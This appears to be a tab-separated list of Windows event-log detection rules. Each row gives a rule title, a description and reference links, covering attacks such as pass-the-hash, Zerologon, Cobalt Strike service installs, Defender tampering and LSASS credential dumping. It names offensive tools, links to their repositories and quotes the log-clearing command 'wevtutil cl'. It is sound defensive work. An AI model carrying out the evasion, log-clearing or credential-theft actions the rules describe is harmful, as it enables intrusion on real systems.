A Security-Enabled Global Group Was Deleted	Detects activity when a security-enabled global group is deleted	https://www.cisecurity.org/controls/cis-controls-list/, https://www.pcisecuritystandards.org/documents/PCI_DSS_v3-2-1.pdf, https://nvlpubs.nist.gov/nistpubs/CSWP/NIST.CSWP.04162018.pdf, https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventID=4730, https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventID=634
External Remote RDP Logon from Public IP	Detects successful logon from public IP address via RDP. This can indicate a publicly-exposed RDP port.	https://www.inversecos.com/2020/04/successful-4624-anonymous-logons-to.html, https://twitter.com/Purp1eW0lf/status/1616144561965002752
Pass the Hash Activity 2	Detects the attack technique pass the hash which is used to move laterally inside the network	https://github.com/iadgov/Event-Forwarding-Guidance/tree/master/Events, https://web.archive.org/web/20170909091934/https://blog.binarydefense.com/reliably-detecting-pass-the-hash-through-event-log-analysis, https://blog.stealthbits.com/how-to-detect-pass-the-hash-attacks/
External Remote SMB Logon from Public IP	Detects successful logon from public IP address via SMB. This can indicate a publicly-exposed SMB port.	https://www.inversecos.com/2020/04/successful-4624-anonymous-logons-to.html, https://twitter.com/Purp1eW0lf/status/1616144561965002752
Failed Logon From Public IP	Detects a failed logon attempt from a public IP. A login from a public IP can indicate a misconfigured firewall or network boundary.	https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4625
Potential Privilege Escalation via Local Kerberos Relay over LDAP	Detects a suspicious local successful logon event where the Logon Package is Kerberos, the remote address is set to localhost, and the target user SID is the built-in local Administrator account. This may indicate an attempt to leverage a Kerberos relay attack variant that can be used to elevate privilege locally from a domain joined limited user to local System privileges.	https://twitter.com/sbousseaden/status/1518976397364056071?s=12&t=qKO5eKHvWhAP19a50FTZ7g, https://github.com/elastic/detection-rules/blob/5fe7833312031a4787e07893e27e4ea7a7665745/rules/_deprecated/privilege_escalation_krbrelayup_suspicious_logon.toml#L38
Outgoing Logon with New Credentials	Detects logon events that specify new credentials	https://go.recordedfuture.com/hubfs/reports/mtp-2021-0914.pdf
RottenPotato Like Attack Pattern	Detects logon events that have characteristics of events generated during an attack with RottenPotato and the like	https://twitter.com/SBousseaden/status/1195284233729777665
Successful Account Login Via WMI	Detects successful logon attempts performed with WMI	Internal Research
Windows Filtering Platform Blocked Connection From EDR Agent Binary	Detects a Windows Filtering Platform (WFP) blocked connection event involving common Endpoint Detection and Response (EDR) agents. Adversaries may use WFP filters to prevent Endpoint Detection and Response (EDR) agents from reporting security events.	https://github.com/netero1010/EDRSilencer, https://github.com/amjcyber/EDRNoiseMaker, https://ghoulsec.medium.com/misc-series-4-forensics-on-edrsilencer-events-428b20b3f983
Microsoft Defender Blocked from Loading Unsigned DLL	Detects Code Integrity (CI) engine blocking Microsoft Defender's processes (MpCmdRun and NisSrv) from loading unsigned DLLs which may be an attempt to sideload arbitrary DLL	https://www.sentinelone.com/blog/living-off-windows-defender-lockbit-ransomware-sideloads-cobalt-strike-through-microsoft-security-tool
Unsigned Binary Loaded From Suspicious Location	Detects Code Integrity (CI) engine blocking processes from loading unsigned DLLs residing in suspicious locations	https://github.com/nasbench/EVTX-ETW-Resources/blob/45fd5be71a51aa518b1b36d4e1f36af498084e27/ETWEventsList/CSV/Windows11/21H2/W11_21H2_Pro_20220719_22000.795/Providers/Microsoft-Windows-Security-Mitigations.csv
HybridConnectionManager Service Running	Rule to detect the Hybrid Connection Manager service running on an endpoint.	https://twitter.com/Cyb3rWard0g/status/1381642789369286662
Suspicious Application Installed	Detects suspicious application installed by looking at the added shortcut to the app resolver cache	https://nasbench.medium.com/finding-forensic-goodness-in-obscure-windows-event-logs-60e978ea45a3
Suspicious Rejected SMB Guest Logon From IP	Detect Attempt PrintNightmare (CVE-2021-1675) Remote code execution in Windows Spooler Service	https://twitter.com/KevTheHermit/status/1410203844064301056, https://web.archive.org/web/20210629055600/https://github.com/hhlxf/PrintNightmare/, https://web.archive.org/web/20210701042336/https://github.com/afwu/PrintNightmare
Sysmon Application Crashed	Detects application popup reporting a failure of the Sysmon service	https://github.com/nasbench/EVTX-ETW-Resources/blob/f1b010ce0ee1b71e3024180de1a3e67f99701fe4/ETWProvidersManifests/Windows10/1803/W10_1803_Pro_19700101_17134.1/WEPExplorer/Application%20Popup.xml#L36
NTLMv1 Logon Between Client and Server	Detects the reporting of NTLMv1 being used between a client and server. NTLMv1 is insecure as the underlying encryption algorithms can be brute-forced by modern hardware.	https://github.com/nasbench/EVTX-ETW-Resources/blob/f1b010ce0ee1b71e3024180de1a3e67f99701fe4/ETWProvidersManifests/Windows10/22H2/W10_22H2_Pro_20230321_19045.2728/WEPExplorer/LsaSrv.xml
Active Directory Certificate Services Denied Certificate Enrollment Request	Detects denied requests by Active Directory Certificate Services. Example of these requests denial include issues with permissions on the certificate template or invalid signatures.	https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2008-R2-and-2008/dd299871(v=ws.10), https://www.gradenegger.eu/en/details-of-the-event-with-id-53-of-the-source-microsoft-windows-certificationauthority/
DHCP Server Error Failed Loading the CallOut DLL	This rule detects a DHCP server error in which a specified Callout DLL (in registry) could not be loaded	https://blog.3or.de/mimilib-dhcp-server-callout-dll-injection.html, https://technet.microsoft.com/en-us/library/cc726884(v=ws.10).aspx, https://msdn.microsoft.com/de-de/library/windows/desktop/aa363389(v=vs.85).aspx
DHCP Server Loaded the CallOut DLL	This rule detects a DHCP server in which a specified Callout DLL (in registry) was loaded	https://blog.3or.de/mimilib-dhcp-server-callout-dll-injection.html, https://technet.microsoft.com/en-us/library/cc726884(v=ws.10).aspx, https://msdn.microsoft.com/de-de/library/windows/desktop/aa363389(v=vs.85).aspx
Potential CVE-2021-42287 Exploitation Attempt	The attacker creates a computer object using those permissions with a password known to her. After that she clears the attribute ServicePrincipalName on the computer object. Because she created the object (CREATOR OWNER), she gets granted additional permissions and can do many changes to the object.	https://cloudbrothers.info/en/exploit-kerberos-samaccountname-spoofing/
Local Privilege Escalation Indicator TabTip	Detects the invocation of TabTip via CLSID as seen when JuicyPotatoNG is used on a system in brute force mode	https://github.com/antonioCoco/JuicyPotatoNG
Eventlog Cleared	One of the Windows Eventlogs has been cleared. e.g. caused by "wevtutil cl" command execution	https://twitter.com/deviouspolack/status/832535435960209408, https://www.hybrid-analysis.com/sample/027cc450ef5f8c5f653329641ec1fed91f694e0d229928963b30f6b0d7d3a745?environmentId=100
Important Windows Eventlog Cleared	Detects the clearing of one of the Windows Core Eventlogs. e.g. caused by "wevtutil cl" command execution	https://twitter.com/deviouspolack/status/832535435960209408, https://www.hybrid-analysis.com/sample/027cc450ef5f8c5f653329641ec1fed91f694e0d229928963b30f6b0d7d3a745?environmentId=100
KDC RC4-HMAC Downgrade CVE-2022-37966	Detects the exploitation of a security bypass and elevation of privilege vulnerability with Authentication Negotiation by using weak RC4-HMAC negotiation	https://support.microsoft.com/en-us/topic/kb5021131-how-to-manage-the-kerberos-protocol-changes-related-to-cve-2022-37966-fd837ac3-cdec-4e76-a6ec-86e67501407d
Certificate Use With No Strong Mapping	Detects a user certificate that was valid but could not be mapped to a user in a strong way (such as via explicit mapping, key trust mapping, or a SID) This could be a sign of exploitation of the elevation of privilege vulnerabilities (CVE-2022-34691, CVE-2022-26931, CVE-2022-26923) that can occur when the KDC allows certificate spoofing by not requiring a strong mapping. Events where the AccountName and CN of the Subject do not match, or where the CN ends in a dollar sign indicating a machine, may indicate certificate spoofing.	https://support.microsoft.com/en-us/topic/kb5014754-certificate-based-authentication-changes-on-windows-domain-controllers-ad2c23b0-15d8-4340-a468-4d4f3b188f16
No Suitable Encryption Key Found For Generating Kerberos Ticket	Detects errors when a target server doesn't have suitable keys for generating kerberos tickets. This issue can occur for example when a service uses a user account or a computer account that is configured for only DES encryption on a computer that is running Windows 7 which has DES encryption for Kerberos authentication disabled.	https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2008-r2-and-2008/dd348773(v=ws.10), https://learn.microsoft.com/en-us/troubleshoot/windows-server/windows-security/kdc-event-16-27-des-encryption-disabled
Critical Hive In Suspicious Location Access Bits Cleared	Detects events from the Kernel-General ETW indicating that the access bits of a hive with a system like hive name located in the temp directory have been reset. This occurs when an application tries to access a hive and the hive has not be recognized since the last 7 days (by default). Registry hive dumping utilities such as QuarksPwDump were seen emitting this behavior.	https://github.com/nasbench/Misc-Research/blob/b20da2336de0f342d31ef4794959d28c8d3ba5ba/ETW/Microsoft-Windows-Kernel-General.md
Volume Shadow Copy Mount	Detects volume shadow copy mount via Windows event log	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1003.002/T1003.002.md#atomic-test-3---esentutlexe-sam-copy
Suspicious Usage of CVE_2021_34484 or CVE 2022_21919	During exploitation of this vulnerability, two logs (Provider_Name:Microsoft-Windows-User Profiles Service) with EventID 1511 and 1515 (maybe lot of false positives with this event) are created. Moreover, it appears the directory \Users\TEMP is created may be created during the exploitation. Viewed on 2008 Server	https://packetstormsecurity.com/files/166692/Windows-User-Profile-Service-Privlege-Escalation.html
Windows Update Error	Detects Windows update errors including installation failures and connection issues. Defenders should observe this in case critical update KBs aren't installed.	https://github.com/nasbench/EVTX-ETW-Resources/blob/f1b010ce0ee1b71e3024180de1a3e67f99701fe4/ETWProvidersManifests/Windows10/1903/W10_1903_Pro_20200714_18362.959/WEPExplorer/Microsoft-Windows-WindowsUpdateClient.xml
Zerologon Exploitation Using Well-known Tools	This rule is designed to detect attempts to exploit Zerologon (CVE-2020-1472) vulnerability using mimikatz zerologon module or other exploits from machine with "kali" hostname.	https://www.secura.com/blog/zero-logon, https://bi-zone.medium.com/hunting-for-zerologon-f65c61586382
Vulnerable Netlogon Secure Channel Connection Allowed	Detects that a vulnerable Netlogon secure channel connection was allowed, which could be an indicator of CVE-2020-1472.	https://support.microsoft.com/en-us/help/4557222/how-to-manage-the-changes-in-netlogon-secure-channel-connections-assoc
NTFS Vulnerability Exploitation	This the exploitation of a NTFS vulnerability as reported without many details via Twitter	https://twitter.com/jonasLyk/status/1347900440000811010, https://twitter.com/wdormann/status/1347958161609809921, https://www.bleepingcomputer.com/news/security/windows-10-bug-corrupts-your-hard-drive-on-seeing-this-files-icon/
Windows Defender Threat Detection Service Disabled	Detects when the "Windows Defender Threat Protection" service is disabled.	https://learn.microsoft.com/en-us/defender-endpoint/troubleshoot-microsoft-defender-antivirus, https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.001/T1562.001.md
CobaltStrike Service Installations - System	Detects known malicious service installs that appear in cases in which a Cobalt Strike beacon elevates privileges or lateral movement	https://www.sans.org/webcasts/119395, https://www.crowdstrike.com/blog/getting-the-bacon-from-cobalt-strike-beacon/, https://thedfirreport.com/2021/08/29/cobalt-strike-a-defenders-guide/
smbexec.py Service Installation	Detects the use of smbexec.py tool by detecting a specific service installation	https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/, https://github.com/fortra/impacket/blob/33058eb2fde6976ea62e04bc7d6b629d64d44712/examples/smbexec.py#L286-L296, https://github.com/fortra/impacket/blob/edef71f17bc1240f9f8c957bbda98662951ac3ec/examples/smbexec.py#L60
Invoke-Obfuscation CLIP+ Launcher - System	Detects Obfuscated use of Clip.exe to execute PowerShell	https://github.com/SigmaHQ/sigma/issues/1009
Invoke-Obfuscation Obfuscated IEX Invocation - System	Detects all variations of obfuscated powershell IEX invocation code generated by Invoke-Obfuscation framework from the code block linked in the references	https://github.com/danielbohannon/Invoke-Obfuscation/blob/f20e7f843edd0a3a7716736e9eddfa423395dd26/Out-ObfuscatedStringCommand.ps1#L873-L888
Invoke-Obfuscation STDIN+ Launcher - System	Detects Obfuscated use of stdin to execute PowerShell	https://github.com/SigmaHQ/sigma/issues/1009
Invoke-Obfuscation VAR+ Launcher - System	Detects Obfuscated use of Environment Variables to execute PowerShell	https://github.com/SigmaHQ/sigma/issues/1009
Invoke-Obfuscation COMPRESS OBFUSCATION - System	Detects Obfuscated Powershell via COMPRESS OBFUSCATION	https://github.com/SigmaHQ/sigma/issues/1009
Invoke-Obfuscation Via Stdin - System	Detects Obfuscated Powershell via Stdin in Scripts	https://github.com/SigmaHQ/sigma/issues/1009
Invoke-Obfuscation RUNDLL LAUNCHER - System	Detects Obfuscated Powershell via RUNDLL LAUNCHER	https://github.com/SigmaHQ/sigma/issues/1009
Invoke-Obfuscation Via Use Clip - System	Detects Obfuscated Powershell via use Clip.exe in Scripts	https://github.com/SigmaHQ/sigma/issues/1009
Invoke-Obfuscation Via Use MSHTA - System	Detects Obfuscated Powershell via use MSHTA in Scripts	https://github.com/SigmaHQ/sigma/issues/1009
Invoke-Obfuscation Via Use Rundll32 - System	Detects Obfuscated Powershell via use Rundll32 in Scripts	https://github.com/SigmaHQ/sigma/issues/1009
Invoke-Obfuscation VAR++ LAUNCHER OBFUSCATION - System	Detects Obfuscated Powershell via VAR++ LAUNCHER	https://github.com/SigmaHQ/sigma/issues/1009
KrbRelayUp Service Installation	Detects service creation from KrbRelayUp tool used for privilege escalation in Windows domain environments where LDAP signing is not enforced (the default settings)	https://github.com/Dec0ne/KrbRelayUp
Credential Dumping Tools Service Execution - System	Detects well-known credential dumping tools execution via service execution events	https://www.slideshare.net/heirhabarov/hunting-for-credentials-dumping-in-windows-environment
Meterpreter or Cobalt Strike Getsystem Service Installation - System	Detects the use of getsystem Meterpreter/Cobalt Strike command by detecting a specific service installation	https://speakerdeck.com/heirhabarov/hunting-for-privilege-escalation-in-windows-environment, https://blog.cobaltstrike.com/2014/04/02/what-happens-when-i-type-getsystem/
Moriya Rootkit - System	Detects the use of Moriya rootkit as described in the securelist's Operation TunnelSnake report	https://securelist.com/operation-tunnelsnake-and-moriya-rootkit/101831
PowerShell Scripts Installed as Services	Detects powershell script installed as a Service	https://speakerdeck.com/heirhabarov/hunting-for-powershell-abuse
Anydesk Remote Access Software Service Installation	Detects the installation of the anydesk software service. Which could be an indication of anydesk abuse if you the software isn't already used.	https://thedfirreport.com/2022/08/08/bumblebee-roasts-its-way-to-domain-admin/
CSExec Service Installation	Detects CSExec service installation and execution events	https://github.com/malcomvetter/CSExec
HackTool Service Registration or Execution	Detects installation or execution of services	Internal Research
Mesh Agent Service Installation	Detects a Mesh Agent service installation. Mesh Agent is used to remotely manage computers	https://thedfirreport.com/2022/11/28/emotet-strikes-again-lnk-file-leads-to-domain-wide-ransomware/
NetSupport Manager Service Install	Detects NetSupport Manager service installation on the target system.	http://resources.netsupportsoftware.com/resources/manualpdfs/nsm_manual_uk.pdf
PAExec Service Installation	Detects PAExec service installation	https://www.poweradmin.com/paexec/
New PDQDeploy Service - Server Side	Detects a PDQDeploy service installation which indicates that PDQDeploy was installed on the machines. PDQDeploy can be abused by attackers to remotely install packages or execute commands on target machines	https://documentation.pdq.com/PDQDeploy/13.0.3.0/index.html?windows-services.htm
New PDQDeploy Service - Client Side	Detects PDQDeploy service installation on the target system. When a package is deployed via PDQDeploy it installs a remote service on the target machine with the name "PDQDeployRunner-X" where "X" is an integer starting from 1	https://documentation.pdq.com/PDQDeploy/13.0.3.0/index.html?windows-services.htm
ProcessHacker Privilege Elevation	Detects a ProcessHacker tool that elevated privileges to a very high level	https://twitter.com/1kwpeter/status/1397816101455765504
RemCom Service Installation	Detects RemCom service installation and execution events	https://github.com/kavika13/RemCom/
Remote Access Tool Services Have Been Installed - System	Detects service installation of different remote access tools software. These software are often abused by threat actors to perform	https://redcanary.com/blog/misbehaving-rats/
Remote Utilities Host Service Install	Detects Remote Utilities Host service installation on the target system.	https://www.remoteutilities.com/support/kb/host-service-won-t-start/
Sliver C2 Default Service Installation	Detects known malicious service installation that appear in cases in which a Sliver implants execute the PsExec commands	https://github.com/BishopFox/sliver/blob/79f2d48fcdfc2bee4713b78d431ea4b27f733f30/client/command/commands.go#L1231, https://www.microsoft.com/security/blog/2022/08/24/looking-for-the-sliver-lining-hunting-for-emerging-command-and-control-frameworks/
Service Installed By Unusual Client - System	Detects a service installed by a client which has PID 0 or whose parent has PID 0	https://www.elastic.co/guide/en/security/current/windows-service-installed-via-an-unusual-client.html
Suspicious Service Installation	Detects suspicious service installation commands	Internal Research
PsExec Service Installation	Detects PsExec service installation and execution events	https://www.jpcert.or.jp/english/pub/sr/ir_research.html, https://jpcertcc.github.io/ToolAnalysisResultSheet
Tap Driver Installation	Well-known TAP software installation. Possible preparation for data exfiltration using tunnelling techniques	https://community.openvpn.net/openvpn/wiki/ManagingWindowsTAPDrivers
TacticalRMM Service Installation	Detects a TacticalRMM service installation. Tactical RMM is a remote monitoring & management tool.	https://thedfirreport.com/2022/11/28/emotet-strikes-again-lnk-file-leads-to-domain-wide-ransomware/
Uncommon Service Installation Image Path	Detects uncommon service installation commands by looking at suspicious or uncommon image path values containing references to encoded powershell commands, temporary paths, etc.	Internal Research
Important Windows Service Terminated With Error	Detects important or interesting Windows services that got terminated for whatever reason	https://www.microsoft.com/en-us/security/blog/2023/04/11/guidance-for-investigating-attacks-using-cve-2022-21894-the-blacklotus-campaign/
Windows Service Terminated With Error	Detects Windows services that got terminated for whatever reason	https://www.microsoft.com/en-us/security/blog/2023/04/11/guidance-for-investigating-attacks-using-cve-2022-21894-the-blacklotus-campaign/
Important Windows Service Terminated Unexpectedly	Detects important or interesting Windows services that got terminated unexpectedly.	https://www.randori.com/blog/vulnerability-analysis-queuejumper-cve-2023-21554/
RTCore Suspicious Service Installation	Detects the installation of RTCore service. Which could be an indication of Micro-Star MSI Afterburner vulnerable driver abuse	https://github.com/br-sn/CheekyBlinder/blob/e1764a8a0e7cda8a3716aefa35799f560686e01c/CheekyBlinder/CheekyBlinder.cpp
Service Installation in Suspicious Folder	Detects service installation in suspicious folder appdata	Internal Research
Service Installation with Suspicious Folder Pattern	Detects service installation with suspicious folder patterns	Internal Research
Suspicious Service Installation Script	Detects suspicious service installation scripts	Internal Research
Potential RDP Exploit CVE-2019-0708	Detect suspicious error on protocol RDP, potential CVE-2019-0708	https://web.archive.org/web/20190710034152/https://github.com/zerosum0x0/CVE-2019-0708, https://github.com/Ekultek/BlueKeep
Scheduled Task Executed From A Suspicious Location	Detects the execution of Scheduled Tasks where the Program being run is located in a suspicious location or it's an unusale program to be run from a Scheduled Task	Internal Research
Scheduled Task Executed Uncommon LOLBIN	Detects the execution of Scheduled Tasks where the program being run is located in a suspicious location or where it is an unusual program to be run from a Scheduled Task	Internal Research
Important Scheduled Task Deleted	Detects when adversaries try to stop system services or processes by deleting their respective scheduled tasks in order to conduct data destructive activities	https://www.socinvestigation.com/most-common-windows-event-ids-to-hunt-mind-map/
Ngrok Usage with Remote Desktop Service	Detects cases in which ngrok, a reverse proxy tool, forwards events to the local RDP port, which could be a sign of malicious behaviour	https://twitter.com/tekdefense/status/1519711183162556416?s=12&t=OTsHCBkQOTNs1k3USz65Zg, https://ngrok.com/
Windows Defender Grace Period Expired	Detects the expiration of the grace period of Windows Defender. This means protection against viruses, spyware, and other potentially unwanted software is disabled.	https://learn.microsoft.com/en-us/defender-endpoint/troubleshoot-microsoft-defender-antivirus?view=o365-worldwide#event-id-5101, https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.001/T1562.001.md, https://craigclouditpro.wordpress.com/2020/03/04/hunting-malicious-windows-defender-activity/
LSASS Access Detected via Attack Surface Reduction	Detects Access to LSASS Process	https://learn.microsoft.com/en-us/defender-endpoint/attack-surface-reduction
PSExec and WMI Process Creations Block	Detects blocking of process creations originating from PSExec and WMI commands	https://learn.microsoft.com/en-us/defender-endpoint/attack-surface-reduction-rules-reference?view=o365-worldwide#block-process-creations-originating-from-psexec-and-wmi-commands, https://twitter.com/duff22b/status/1280166329660497920
Windows Defender Exclusions Added	Detects the Setting of Windows Defender Exclusions	https://twitter.com/_nullbind/status/1204923340810543109
Windows Defender Exploit Guard Tamper	Detects when someone is adding or removing applications or folders from exploit guard "ProtectedFolders" or "AllowedApplications"	https://techcommunity.microsoft.com/t5/core-infrastructure-and-security/windows-10-controlled-folder-access-event-search/ba-p/2326088
Windows Defender Submit Sample Feature Disabled	Detects disabling of the "Automatic Sample Submission" feature of Windows Defender.	https://learn.microsoft.com/en-us/defender-endpoint/troubleshoot-microsoft-defender-antivirus?view=o365-worldwide, https://bidouillesecurity.com/disable-windows-defender-in-powershell/#DisableAntiSpyware
Windows Defender Malware And PUA Scanning Disabled	Detects disabling of the Windows Defender feature of scanning for malware and other potentially unwanted software	https://learn.microsoft.com/en-us/defender-endpoint/troubleshoot-microsoft-defender-antivirus?view=o365-worldwide#event-id-5010, https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.001/T1562.001.md, https://craigclouditpro.wordpress.com/2020/03/04/hunting-malicious-windows-defender-activity/
Windows Defender Malware Detection History Deletion	Windows Defender logs when the history of detected infections is deleted.	https://learn.microsoft.com/en-us/defender-endpoint/troubleshoot-microsoft-defender-antivirus, https://web.archive.org/web/20160727113019/https://answers.microsoft.com/en-us/protect/forum/mse-protect_scanning/microsoft-antimalware-has-removed-history-of/f15af6c9-01a9-4065-8c6c-3f2bdc7de45e
Windows Defender AMSI Trigger Detected	Detects triggering of AMSI by Windows Defender.	https://learn.microsoft.com/en-us/windows/win32/amsi/how-amsi-helps
Windows Defender Real-time Protection Disabled	Detects disabling of Windows Defender Real-time Protection. As this event doesn't contain a lot of information on who initiated this action you might want to reduce it to a "medium" level if this occurs too many times in your environment	https://learn.microsoft.com/en-us/defender-endpoint/troubleshoot-microsoft-defender-antivirus?view=o365-worldwide#event-id-5001, https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.001/T1562.001.md, https://craigclouditpro.wordpress.com/2020/03/04/hunting-malicious-windows-defender-activity/
Windows Defender Real-Time Protection Failure/Restart	Detects issues with Windows Defender Real-Time Protection features	Internal Research, https://www.microsoft.com/en-us/security/blog/2023/04/11/guidance-for-investigating-attacks-using-cve-2022-21894-the-blacklotus-campaign/, https://gist.github.com/nasbench/33732d6705cbdc712fae356f07666346
Win Defender Restored Quarantine File	Detects the restoration of files from the defender quarantine	https://learn.microsoft.com/en-us/defender-endpoint/troubleshoot-microsoft-defender-antivirus?view=o365-worldwide
Windows Defender Configuration Changes	Detects suspicious changes to the Windows Defender configuration	https://learn.microsoft.com/en-us/defender-endpoint/troubleshoot-microsoft-defender-antivirus?view=o365-worldwide, https://bidouillesecurity.com/disable-windows-defender-in-powershell/#DisableAntiSpyware
Microsoft Defender Tamper Protection Trigger	Detects blocked attempts to change any of Defender's settings such as "Real Time Monitoring" and "Behavior Monitoring"	https://bhabeshraj.com/post/tampering-with-microsoft-defenders-tamper-protection, https://learn.microsoft.com/en-us/defender-endpoint/troubleshoot-microsoft-defender-antivirus?view=o365-worldwide
Windows Defender Threat Detected	Detects actions taken by Windows Defender malware detection engines	https://learn.microsoft.com/en-us/defender-endpoint/troubleshoot-microsoft-defender-antivirus
Windows Defender Virus Scanning Feature Disabled	Detects disabling of the Windows Defender virus scanning feature	https://learn.microsoft.com/en-us/defender-endpoint/troubleshoot-microsoft-defender-antivirus?view=o365-worldwide#event-id-5012, https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.001/T1562.001.md, https://craigclouditpro.wordpress.com/2020/03/04/hunting-malicious-windows-defender-activity/
WMI Persistence	Detects suspicious WMI event filter and command line event consumer based on WMI and Security Logs.	https://twitter.com/mattifestation/status/899646620148539397, https://www.eideon.com/2018-03-02-THL03-WMIBackdoors/
HackTool - CACTUSTORCH Remote Thread Creation	Detects remote thread creation from CACTUSTORCH as described in references.	https://twitter.com/SBousseaden/status/1090588499517079552, https://github.com/mdsecactivebreach/CACTUSTORCH
HackTool - Potential CobaltStrike Process Injection	Detects a potential remote threat creation with certain characteristics which are typical for Cobalt Strike beacons	https://medium.com/@olafhartong/cobalt-strike-remote-threads-detection-206372d11d0f, https://blog.cobaltstrike.com/2018/04/09/cobalt-strike-3-11-the-snake-that-eats-its-tail/
Remote Thread Created In KeePass.EXE	Detects remote thread creation in "KeePass.exe" which could indicates potential password dumping activity	https://www.cisa.gov/uscert/ncas/alerts/aa20-259a, https://github.com/denandz/KeeFarce, https://github.com/GhostPack/KeeThief
Remote Thread Creation In Mstsc.Exe From Suspicious Location	Detects remote thread creation in the "mstsc.exe" process by a process located in a potentially suspicious location. This technique is often used by attackers in order to hook some APIs used by DLLs loaded by "mstsc.exe" during RDP authentications in order to steal credentials.	https://github.com/S12cybersecurity/RDPCredentialStealer/blob/1b8947cdd065a06c1b62e80967d3c7af895fcfed/APIHookInjectorBin/APIHookInjectorBin/Inject.h#L25
Potential Credential Dumping Attempt Via PowerShell Remote Thread	Detects remote thread creation by PowerShell processes into "lsass.exe"	https://speakerdeck.com/heirhabarov/hunting-for-powershell-abuse
Password Dumper Remote Thread in LSASS	Detects password dumper activity by monitoring remote thread creation EventID 8 in combination with the lsass.exe process as TargetImage. The process in field Process is the malicious program. A single execution can lead to hundreds of events.	https://jpcertcc.github.io/ToolAnalysisResultSheet/details/WCE.htm
Remote Thread Creation Via PowerShell In Uncommon Target	Detects the creation of a remote thread from a Powershell process in an uncommon target process	https://www.fireeye.com/blog/threat-research/2018/06/bring-your-own-land-novel-red-teaming-technique.html
Rare Remote Thread Creation By Uncommon Source Image	Detects uncommon processes creating remote threads.	Personal research, statistical analysis, https://lolbas-project.github.io
Remote Thread Created In Shell Application	Detects remote thread creation in command shell applications, such as "Cmd.EXE" and "PowerShell.EXE". It is a common technique used by malware, such as IcedID, to inject malicious code and execute it within legitimate processes.	https://research.splunk.com/endpoint/10399c1e-f51e-11eb-b920-acde48001122/, https://www.binarydefense.com/resources/blog/icedid-gziploader-analysis/
Remote Thread Creation By Uncommon Source Image	Detects uncommon processes creating remote threads.	Personal research, statistical analysis, https://lolbas-project.github.io
Remote Thread Creation In Uncommon Target Image	Detects uncommon target processes for remote thread creation	https://web.archive.org/web/20220319032520/https://blog.redbluepurple.io/offensive-research/bypassing-injection-detection
Remote Thread Creation Ttdinject.exe Proxy	Detects a remote thread creation of Ttdinject.exe used as proxy	https://lolbas-project.github.io/lolbas/Binaries/Ttdinject/
Creation Of a Suspicious ADS File Outside a Browser Download	Detects the creation of a suspicious ADS (Alternate Data Stream) file by software other than browsers	https://www.bleepingcomputer.com/news/security/exploited-windows-zero-day-lets-javascript-files-bypass-security-warnings/
Hidden Executable In NTFS Alternate Data Stream	Detects the creation of an ADS (Alternate Data Stream) that contains an executable by looking at a non-empty Imphash	https://twitter.com/0xrawsec/status/1002478725605273600?s=21
Suspicious File Download From File Sharing Websites - File Stream	Detects the download of suspicious file type from a well-known file and paste sharing domain	https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventid=90015, https://www.cisa.gov/uscert/ncas/alerts/aa22-321a, https://fabian-voith.de/2020/06/25/sysmon-v11-1-reads-alternate-data-streams/, https://www.microsoft.com/en-us/security/blog/2024/01/17/new-ttps-observed-in-mint-sandstorm-campaign-targeting-high-profile-individuals-at-universities-and-research-orgs/
Unusual File Download From File Sharing Websites - File Stream	Detects the download of suspicious file type from a well-known file and paste sharing domain	https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventid=90015, https://www.cisa.gov/uscert/ncas/alerts/aa22-321a, https://www.microsoft.com/en-us/security/blog/2024/01/17/new-ttps-observed-in-mint-sandstorm-campaign-targeting-high-profile-individuals-at-universities-and-research-orgs/
HackTool Named File Stream Created	Detects the creation of a named file stream with the imphash of a well-known hack tool	https://github.com/gentilkiwi/mimikatz, https://github.com/topotam/PetitPotam, https://github.com/ohpe/juicy-potato, https://github.com/antonioCoco/RoguePotato, https://www.tarasco.org/security/pwdump_7/, https://github.com/fortra/nanodump, https://github.com/codewhitesec/HandleKatz, https://github.com/xuanxuan0/DripLoader, https://github.com/hfiref0x/UACME, https://github.com/outflanknl/Dumpert, https://github.com/wavestone-cdt/EDRSandblast
Exports Registry Key To an Alternate Data Stream	Exports the target Registry key and hides it in the specified alternate data stream.	https://lolbas-project.github.io/lolbas/Binaries/Regedit/, https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f
Unusual File Download from Direct IP Address	Detects the download of suspicious file type from URLs with IP	https://github.com/trustedsec/SysmonCommunityGuide/blob/adcdfee20999f422b974c8d4149bf4c361237db7/chapters/file-stream-creation-hash.md, https://labs.withsecure.com/publications/detecting-onenote-abuse
Potential Suspicious Winget Package Installation	Detects potential suspicious winget package installation from a suspicious source.	https://github.com/nasbench/Misc-Research/tree/b9596e8109dcdb16ec353f316678927e507a5b8d/LOLBINs/Winget
Potentially Suspicious File Download From ZIP TLD	Detects the download of a file with a potentially suspicious extension from a .zip top level domain.	https://twitter.com/cyb3rops/status/1659175181695287297, https://fabian-voith.de/2020/06/25/sysmon-v11-1-reads-alternate-data-streams/
DNS Query for Anonfiles.com Domain - Sysmon	Detects DNS queries for "anonfiles.com", which is an anonymous file upload platform often used for malicious purposes	https://www.trendmicro.com/vinfo/us/security/news/ransomware-spotlight/ransomware-spotlight-blackbyte
AppX Package Installation Attempts Via AppInstaller.EXE	Detects DNS queries made by "AppInstaller.EXE". The AppInstaller is the default handler for the "ms-appinstaller" URI. It attempts to load/install a package from the referenced URL	https://twitter.com/notwhickey/status/1333900137232523264, https://lolbas-project.github.io/lolbas/Binaries/AppInstaller/
